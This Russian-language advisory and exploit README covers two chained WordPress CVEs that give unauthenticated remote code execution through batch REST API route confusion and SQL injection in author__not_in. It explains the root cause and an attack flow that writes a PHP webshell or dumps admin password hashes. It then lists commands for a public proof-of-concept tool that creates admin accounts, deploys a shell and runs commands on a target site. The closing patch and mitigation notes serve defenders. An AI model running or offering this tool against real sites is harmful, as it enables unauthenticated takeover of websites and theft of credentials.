
WordPress REST API SQLi, приводящая к RCE, PoC (CVE-2026-63030 и CVE-2026-60137)
Кратко — Неаутентифицированный злоумышленник может использовать связку ошибки пакетной маршрутизации REST API WordPress и SQL-инъекции в
WP_Query, чтобы получить полное удаленное выполнение кода на стандартной установке WordPress — без плагинов, без учетной записи, без взаимодействия с пользователем. Обнаружено Адамом Кьюсом (Assetnote / Searchlight Cyber), который назвал его wp2shell. Исправлено 17 июля 2026 года в версиях 6.9.5, 7.0.2 и 6.8.6.
CVE-2026-63030 — это ошибка в пакетном endpoint REST API ядра WordPress (/wp-json/batch/v1), из-за которой неудачные подзапросы обрабатываются настолько некорректно, что последующий подзапрос направляется по неправильному маршруту. Сама по себе это логическая ошибка. В связке с CVE-2026-60137 — SQL-инъекцией в параметре author__not_in в WP_Query — она превращается в неаутентифицированное удаленное выполнение кода.
WordPress оценивает CVE-2026-63030 как Critical, а CVE-2026-60137 как High; оценки CVSS от сторонних трекеров различаются (примерно 7.5 и 9.1 соответственно), поскольку ни одна из этих оценок не отражает полностью то, что делает связка. Относитесь к этому как к критическому, независимо от того, какое одно число вам показывают — WordPress посчитал это достаточно серьезным, чтобы принудительно установить автоматические обновления на каждый затронутый сайт.
Коренная причина — рассинхронизация учета пакетов. Когда подзапрос в пакете не проходит проверку, результирующий объект WP_Error записывается во внутренний массив $validation[], но параллельный массив $matches[], используемый для маршрутизации, не обновляется соответствующим образом. Этот разрыв в один элемент сдвигает каждый последующий подзапрос на одну позицию: подзапрос N в итоге направляется обработчику маршрута, предназначенному для подзапроса N+1.
Обход санитизации. Выполняясь в обработчике, для которого он не был предназначен, подзапрос пропускает собственную проверку входных данных этого обработчика — включая проверки типа и is_array().
SQL-инъекция. Этот разрыв позволяет вводимым данным, контролируемым злоумышленником, попасть в параметр author__not_in в WP_Query в виде сырой строки, а не массива. Защита is_array(), которая обычно отклонила бы его, не срабатывает, поэтому значение напрямую интерполируется в выражение NOT IN (...).
Путь к компрометации. Инъекция ограничена SELECT — нет составных запросов — но на хостах, где пользователь базы данных имеет привилегию FILE, этого достаточно для записи PHP-веб-шелла в корень веб-сервера. Если такая привилегия недоступна, та же точка инъекции может использоваться для Blind/UNION-дампа таблицы wp_users для получения хэшей паролей администраторов. В любом случае: без учетной записи, без плагина, без взаимодействия с пользователем.
sequenceDiagram
participant A as Attacker
participant B as Batch Handler
participant Q as WP_Query
participant D as MySQL
A->>B: POST /wp-json/batch/v1 (crafted multi-request batch)
Note over B: Failed sub-request recorded in one internal array but not the other — indexes drift by one
B->>B: Sub-request N dispatched with sub-request N+1's route handler
Note over B: Wrong handler context — that route's input validation never runs
B->>Q: author__not_in passed as raw string, not array
Note over Q: is_array() guard skipped
Q->>D: SELECT ... WHERE post_author NOT IN (attacker string)
alt DB user has FILE privilege
D-->>A: Writes PHP webshell to web root → RCE
else No FILE privilege
D-->>A: Blind/UNION injection dumps admin password hashes
end
git clone htttps://github.com/GhostInExile/CVE-2026-63030-Wp2Shell
cd CVE-2026-63030-Wp2Shell
pip install -r requirements.txt
python3 CVE-2026-63030.py -t https://target.com --test
# Автоматическая генерация учетных данных
python3 CVE-2026-63030.py -t https://target.com --create-admin
# Пользовательские учетные данные
python3 CVE-2026-63030.py -t https://target.com --create-admin -u myadmin -p mypassword
# Автоматическое создание администратора, развертывание шелла, выполнение одной команды
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami"
# Интерактивный режим оболочки
python3 CVE-2026-63030.py -t https://target.com --shell -i
# Использование существующих учетных данных
python3 CVE-2026-63030.py -t https://target.com --shell -U admin -P password -c "id"
# Очистка после сессии оболочки
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami" --cleanup
# Только очистка (требуется URL шелла из предыдущей сессии)
python3 CVE-2026-63030.py -t https://target.com --cleanup \
-U created_admin -P password \
--shell-url "https://target.com/wp-content/plugins/maint-xxx/maint-xxx.php"
# Использование прокси
python3 CVE-2026-63030.py -t https://target.com --test --proxy http://127.0.0.1:8080
# Пользовательский таймаут
python3 CVE-2026-63030.py -t https://target.com --test --timeout 60
GHSA-ff9f-jf42-662q (путаница маршрутов) · GHSA-fpp7-x2x2-2mjf (SQLi)CVE-2026-63030) — сообщено Адамом Кьюсом из Assetnote / Searchlight Cyber через программу HackerOne WordPress.CVE-2026-60137) — сообщено отдельно, командой, состоящей из TF1T, dtro и haongo.6.9.5, 7.0.2, 6.8.6 или новее — единственное полное исправление. WordPress включил принудительные автоматические обновления для затронутых сайтов; убедитесь, что ваше обновление действительно применилось, а не просто предполагайте./wp-json/batch/v1, так и ?rest_route=/batch/v1. Только экстренная мера — это может нарушить легитимное использование пакетного API (например, редактирование на основе блоков) и не заменяет установку патча.| Версия WordPress | SQL-инъекция (CVE-2026-60137) | Путаница маршрутов (CVE-2026-63030) | Реальный риск |
|---|
| < 6.8.0 | — | — | Не затронуто |
| 6.8.0 – 6.8.5 | ✅ | — | Только SQLi — требуется плагин/тема для передачи непроверенных данных в author__not_in; не достижимо до аутентификации на чистом ядре. В любом случае установите патч. |
| 6.9.0 – 6.9.4 | ✅ | ✅ | RCE без аутентификации |
| 7.0.0 – 7.0.1 | ✅ | ✅ | RCE без аутентификации |
| 7.1 Beta 1 | ✅ | ✅ | RCE без аутентификации (бета-канал) |